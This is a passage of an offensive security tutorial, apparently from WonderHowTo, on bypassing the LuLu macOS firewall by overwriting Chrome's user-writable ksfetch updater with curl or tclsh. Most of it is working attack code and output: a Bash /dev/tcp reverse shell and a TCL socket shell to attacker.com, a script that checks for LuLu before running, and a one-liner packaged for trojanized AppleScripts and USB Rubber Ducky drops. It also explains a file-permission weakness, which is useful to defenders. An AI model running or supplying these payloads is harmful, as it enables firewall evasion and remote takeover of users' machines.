The bypass is made possible due to weak file and directory permissions assigned to some third-party applications installed outside the App Store. Let’s have a look at file permissions for the Google Chrome browser, which was installed directly from Google via DMG installer.
$ ls -l /Applications/
total 0
drwxr-xr-x 3 root admin 96B Jun 12 03:23 1Password 7.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Calculator.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 FaceTime.app
drwxr-xr-x@ 3 tokyoneon admin 96B Jun 4 08:50 Google Chrome.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Home.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Image Capture.app
Notice the Google Chrome app is owned by the user and not “root” like other applications. And with another look at the ksfetch
and GoogleSoftwareUpdateAgent
rules in LuLu, we’ll notice both of the binaries are in the /Users/$USER/Library/
directory.
In addition to other files in the Chrome directory, these binaries modifiable by the user. To be clear, any files in /Users/$USER/Library/
and /Application/Google\ Chrome.app/
are fair game for an attacker and easily modified.
The below command will override ksfetch
with curl
, which is not whitelisted in the LuLu firewall.
$ cp /usr/bin/curl /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
Despite Curl not being whitelisted, an attacker can still access the internet this way.
$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch "https://ifconfig.me/all"
ip_addr: 198.251.89.219
remote_host: unavaiable
user_agent: curl/7.54.0
port: 28596
language:
referer:
connection:
keep_alive:
method: GET
encoding:
mime: */*
charset:
via: 1.1 google
forwarded: 198.251.89.219, 216.239.36.21~
Ksfetch is used in this example, but GoogleSoftwareUpdateAgent
and Google Chrome itself can be used to establish connections to a remote server. Overriding Chrome will, of course, break the application’s functionalities. But at that point, an attacker would have already exfiltrated sensitive information. With this knowledge, let’s setup a reverse shell payload and remotely control the MacBook.
The following example utilizes tclsh
, which will create an interactive shell the attacker can use to execute commands remotely. For good measure, the tclsh
binaries and symlinks have been manually blocked in the firewall.
As a low privileged user, the tclsh
binary is copied over ksfetch
, which completely overrides the file and its functionalities.
$ cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
The tclsh
command is now invoked by directly calling the ksfetch
binary. From this interactive terminal, commands are executed exactly as they would be with a Netcat or Bash shell.
$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
% ls -la /
total 36
drwxr-xr-x@ 2 root wheel 64 Jun 25 09:57 .PKInstallSandboxManager-SystemSoftware
drwx------ 5 root wheel 160 Jun 5 19:36 .Spotlight-V100
drwxrwxr-x+ 138 root admin 4416 Jun 25 09:54 Applications
drwxr-xr-x+ 70 root wheel 2240 Jun 5 19:37 Library
drwxr-xr-x@ 2 root wheel 64 Oct 5 2018 Network
drwxr-xr-x@ 5 root wheel 160 Sep 21 2018 System
drwxr-xr-x 6 root admin 192 May 10 17:34 Users
drwxr-xr-x@ 5 root wheel 160 Jun 25 18:51 Volumes
drwxr-xr-x@ 37 root wheel 1184 May 22 11:14 bin
drwxrwxr-t@ 2 root admin 64 Oct 5 2018 cores
dr-xr-xr-x 3 root wheel 7834 Jun 25 09:50 dev
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 etc -> private/etc
dr-xr-xr-x 2 root wheel 1 Jun 25 16:57 home
dr-xr-xr-x 2 root wheel 1 Jun 25 16:57 net
drwxr-xr-x 3 root wheel 96 Oct 3 2018 opt
drwxr-xr-x 6 root wheel 192 Jun 5 17:49 private
drwxr-xr-x@ 64 root wheel 2048 May 22 11:14 sbin
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 tmp -> private/tmp
drwxr-xr-x@ 9 root wheel 288 Sep 21 2018 usr
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 var -> private/var
% uname -a
Darwin User-MacBook.local 18.6.0 Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDF 2019; root:xnu-4903.261.4~2/RELEASE_X86_64 x86_64
%
So, how would an attacker know if the operating system has LuLu installed to begin with? It’s possible to enumerate installed security software by performing packet inspection and observing LuLu’s auto-updates. However, we’ll instead have the payload detect LuLu processes before executing any commands.
In the below example, background processes are examined with ps
. Several active processes appear using the “LuLu” name.
$ ps auxwww | grep -i [l]ulu
root 94 0.3 0.7 4349052 28088 ?? Rs 1:33AM 0:18.59 /Library/Objective-See/LuLu/LuLu.bundle/Contents/MacOS/LuLu
tokyoneon 291 0.0 0.8 4924936 35092 ?? S 1:34AM 0:01.10 /Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper
A simple Bash if
statement, embedded in an AppleScript, could effectively detect the LuLu processes.
#!/bin/bash
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
echo "LuLu not found."
else
echo "LuLu detected."
fi
A practical script that goes beyond detecting LuLu processes and automatically overrides Google Chrome binaries could appear as follows.
#!/bin/bash
# The `ps` command is used to view active processes and
# locate LuLu running in the background with `grep`.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
# An arbitrary `echo` command. If LuLu is not found the
# following commands will execute. An example Bash
# reverse shell is included.
echo "LuLu not found. Hack the planet!"
/bin/bash -i >& /dev/tcp/attacker.com/443 0>&1
else
# Arbitrary `echo` command with sad face.
echo "Lulu detected :("
# Copy the `tclsh` binary over `ksfetch`.
/bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
# TCL reverse shell, covered in the below article.
# https://null-byte.com/tcl-0186330/
echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch &
# Another `echo` command.
echo "Bypass LuLu and hack the planet!"
fi
The above script is condensed into one-line to function nicely with trojanized AppleScripts, Mousejack payloads, USB drops, and USB Rubber Ducky payloads.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1; else /bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch && echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch & fi
If Chrome isn’t installed on the target system, a different dependency of an alternate browser is enumerable with some effort. Discovering the installed browser(s) could appear as shown below.
#!/bin/bash
if [[ ! -n "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
echo "LuLu not found.";
else
echo "LuLu detected.";
if [[ -d "/Applications/Google Chrome.app/" ]]; then
echo "Chrome browser detected. Overriding Ksfetch...";
else
if [[ -d "/Applications/Firefox.app/" ]]; then
echo "Firefox detected. Overriding <unknown>...";
else
if [[ -d "/Applications/Opera.app/" ]]; then
echo "Opera detected. Overriding <unknown>...";
else
echo "Uh-oh, we're out of browsers to exploit...";
fi;
fi;
fi;
fi
Authored by tokyoneon, this post was originally published on WonderHowTo.